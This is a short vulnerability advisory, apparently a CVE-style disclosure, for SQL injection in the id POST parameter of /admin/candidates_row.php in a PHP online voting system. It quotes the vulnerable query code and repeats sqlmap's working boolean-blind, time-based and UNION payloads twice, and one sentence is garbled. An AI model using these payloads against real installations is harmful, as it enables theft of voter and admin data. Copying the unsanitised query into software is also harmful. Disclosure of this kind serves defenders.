SQL injection vulnerability exists in id parameter of /admin/candidates_row.php file of Advanced Online Voting System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
4    if(isset($_POST['id'])){
5        $id = $_POST['id'];
6        $sql = "SELECT *, candidates.id AS canid FROM candidates LEFT JOIN positions
7        ON positions.id=candidates.position_id WHERE candidates.id = '$id'";
8        $query = $conn->query($sql);
```

```
sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=1' AND 5289=(SELECT (CASE WHEN (5289=5289) THEN 5289 ELSE (SELECT 5375 UNION SE
LECT 5134) END))-- -

    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2149 FROM (SELECT(SLEEP(5)))Dgff)-- pSiy

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0×71767
07071,0×5a58796359514f715774457a4b65567879496b54417965655647566d4f456f725046477549487749,0×716a
766b71),NULL-- -
---
```

“

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1' AND 5289=(SELECT (CASE WHEN (5289=5289) THEN 5289 ELSE (SELECT 5375 UNION SELECT 5134) END))-- -

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 2149 FROM (SELECT(SLEEP(5)))Dgff)-- pSiy

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176707071,0x5a58796359514f715774457a4b65567879496b54417965655647566d4f456f725046477549487749,0x716a766b71),NULL-- -

---

“

Source Download：

https://www.campcodes.com/projects/php/online-voting-system-in-php/